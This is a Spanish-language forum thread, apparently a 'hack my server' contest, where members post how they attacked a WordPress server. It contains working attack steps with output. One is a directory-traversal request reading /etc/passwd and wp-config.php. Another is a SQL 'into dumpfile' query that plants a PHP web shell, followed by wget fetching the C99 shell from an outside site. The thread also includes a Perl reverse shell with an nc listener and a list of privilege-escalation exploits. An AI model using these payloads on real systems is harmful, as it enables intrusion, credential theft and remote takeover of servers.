Hack my server II

Iniciado por dimitrix, 28 Junio 2014, 20:09 PM

0 Miembros y 2 Visitantes están viendo este tema.

dimitrix

Puntos actualizados.

Va ganando #!drvy con 7 puntos y le sigue WHK con 6 puntos.

Si alguien tiene una duda/queja sobre los puntos, puede poner una reclamación en el WP
  :xD




dRak0

No modifiques nada dimitrix.

WHK

Hola, llegué xD y me voy a acostar jajaja.

A traves del plugin de backup utilizo el bug de directory traversal que expliqué anteriormente:

http://web.com/wp-admin/edit.php?page=wp-db-backup.php&backup=../../../../../../../../../../../../etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
fetchmail:x:101:65534::/var/lib/fetchmail:/bin/false
sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
syslog:x:103:106::/home/syslog:/bin/false
klog:x:104:107::/home/klog:/bin/false
bind:x:105:109::/var/cache/bind:/bin/false
smmta:x:106:110:Mail Transfer Agent,,,:/var/lib/sendmail:/bin/false
smmsp:x:107:111:Mail Submission Program,,,:/var/lib/sendmail:/bin/false
landscape:x:108:112::/var/lib/landscape:/bin/false
mysql:x:109:113:MySQL Server,,,:/nonexistent:/bin/false


También puedes descargar la db completa con el mismo plugin y ver privilegios extras.

http://web.com/wp-admin/edit.php?page=wp-db-backup.php&backup=../../wp-config.php
<?php
// ** MySQL settings ** //
define('DB_NAME''hackme2');    // The name of the database
define('DB_USER''root');     // Your MySQL username
define('DB_PASSWORD'''); // ...and password
define('DB_HOST''localhost');    // 99% chance you won't need to change this value

// You can have multiple installations in one database if you give each a unique prefix
$table_prefix  'wp_';   // Only numbers, letters, and underscores please!

// Change this to localize WordPress.  A corresponding MO file for the
// chosen language must be installed to wp-includes/languages.
// For example, install de.mo to wp-includes/languages and set WPLANG to 'de'
// to enable German language support.
define ('WPLANG''');

/* That's all, stop editing! Happy blogging. */

define('ABSPATH'dirname(__FILE__).'/');
require_once(
ABSPATH.'wp-settings.php');
?>


Mañana veremos si podemos hacer una conexión directa al mysql server o si las credenciales sirven para algo mas que solo el sql.

MinusFour

No creo que nadie lo haya mencionado pero esta usando la versión 13.10 de Ubuntu:


os_type=debian-linux
os_version=8.0
real_os_type=Ubuntu Linux
real_os_version=13.10

#!drvy

#134
Bueno, he intentado unos cuantos 'exploits' para escalar privilegios pero nada xD


Así que voy a poner como conseguir un reverse shell para los que estan perdidos...

Tenemos acceso a phpmyadmin y tenemos todos los privilegios. Podemos usar dumpfile para crear archivos y nuestro amable administrador, nos ha dado permisos de escritura en la carpeta uploads de wordpress.

Nos vamos phpmyadmin, y ejecutamos una query (pestaña SQL) simple.
Código (sql) [Seleccionar]
select '<?php echo "<pre>",system($_GET["q"]),"</pre>"; die(); ?>' into dumpfile '/var/www/wp-content/uploads/dshell.php'

Esto creara un archivo en /uploads (dshell.php) con una shell básica que permite ejecutar comandos del sistema directamente. Ahora podemos navegar hasta ese archivo y probar..

Código (url) [Seleccionar]
http://host.net/wp-content/uploads/dshell.php?q=cat /etc/passwd

Si todo ha ido bien, nos muestra el contenido de /etc/passwd.

Bien, ya tenemos una shell básica pero los permisos son de mysql en vez de www-data. Ademas, nuestra shell es bastante primitiva, cosa que no nos interesa.

Por eso, podríamos descargar la C99. Podríamos usar wget...

Código (url) [Seleccionar]
http://host.net/wp-content/uploads/dshell.php?q=wget -O dshell2.php 'http://www.c99txt.net/s/c99.txt'

Esto descargara un c99.txt del c99txt.net y lo guardara como dshell2.php.. pero ademas, puesto que lo ejecutamos desde PHP, su dueño sera www-data.

Si abrimos dshell2.php se nos abrira una bonita C99. Desde aquí vamos a proceder a descargar una shell inversa. Primero tenemos que descargar la propia shell. Una bastante comun es http://pentestmonkey.net/tools/web-shells/perl-reverse-shell

La descargamos, descomprimimos el .pl y lo vamos a editar. Tenemos que cambiar

Código (perl) [Seleccionar]
my $ip = '127.0.0.1';
my $port = 1234;


Por nuestros datos, es decir $ip por nuestra IP y $port por el puerto donde queremos que se conecte. Una vez editada, copiamos el contenido, nos vamos a la c99 y abajo en :: Make File ::, añadimos (a lo que ya hay), reverse.pl quedando así:
Código (url) [Seleccionar]
/var/www/wp-content/uploads/reverse.pl

Le damos al boton Create, en el textbox que aparecerá, pegamos la shell y le damos al boton Save.

Ahora, abajo en :: Command execute :: a la izquierda en la casilla ponemos chmod 777 reverse.pl, esto le dara permisos globales de ejecucion/escritura/lectura a la shell.


En nuestro sistema, tenemos que hacer que netcat escuche. Si no lo tienen instalado, busquen en google como instalarlo.
Código (bash) [Seleccionar]
nc -l -v -n -p 1337

El -p 1337 es el puerto donde va a escuchar netcat por la shell. Lo ejecutamos en nuestra maquina, nos vamos a la C99 y en la casilla de comandos ejecutamos
Código (bash) [Seleccionar]
perl reverse.pl

Si todo sale bien nos devolverá algo así..

Content-Length: 0
Connection: close
Content-Type: text/html

Content-Length: 45
Connection: close
Content-Type: text/html

Sent reverse shell to NuestraIP:ElPuerto<p>


Y si miramos a la terminal.. veremos


Aquí pueden meter cualquier comando que soporte el server.. el caso es que tengan permisos xD




Por otra parte, voy a listar los exploits que he probado/intentado..

half-nelson.c - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3848
Es fácil de encontrar en google... el problema es que aunque compile bien, falla cuando se ejecuta en el server..
Me tira [-] symbol table not available, aborting!

jessica_biel_naked_in_my_bed.c - http://downloads.securityfocus.com/vulnerabilities/exploits/27704.c
No me llega a compilar :/
27704.c:30:22: fatal error: asm/page.h: No such file or directory

14601.c - http://1337day.com/exploit/14601
Compila y ejecuta.. pero ahí se queda :/
--all-symbols < in.map > out.S = in.map no existe ·_·

59846.c - http://downloads.securityfocus.com/vulnerabilities/exploits/59846.c
No consigo compilar :/ No vi que usaba gcc 4.6 xD
gcc-4.6 -O2 59846.c && ./bb.out
Pero a la hora de ejecutar...
bb.out: 59846.c:51: sheep: Assertion `!close(fd)' failed.

59846-1.c - http://downloads.securityfocus.com/vulnerabilities/exploits/59846-1.c
Tampoco :/

59846-2.c - http://downloads.securityfocus.com/vulnerabilities/exploits/59846-2.c
Compila pero... es para Ubuntu 12.04... y a la hora de ejecutar
/usr/sbin/apache: 4: ./testaa: Permission denied | www-data/www-data    -r----x--t
Se vuelve tonto..


Saludos

Pox1

Holas

A la mela mucho por aprender, me envías la IP porfa.

Saludos
" Del infierno..al cielo "

xustyx

XDDDD uploads tiene que estar petao de shells ya... weno entonces esta como lo dejemos ayer??? weno drvy ha ido un poco más lejos consiguiendo la reverse cosa que el superchachy livebox que use tiene pinta de no gustarle las conexiones, ni nat ni dmz ni nada ...

Bueno voy a instalar un kali o traerme mi PC para ir un poco mas fluido taluego.

ivancea96

+100 puntos a quien encuentre user y pass de foro.elhacker.net de dimitrix en su server :3

WHK

#138
vamos, tienen acceao a una inyeccion sql como root, desde ahi pueden hacer lo que quieran, yo no lo he probado porque no he estado en mi casa. Tienen privilegios escribiendo archivos con into out file? han intentado sobreescribir binarios con permisos de root? o tendra permisos propios?

han revisado el directorio /home/ por si hay binarios con instrucciones para escalar privilegios?

ccrunch

I want the IP address.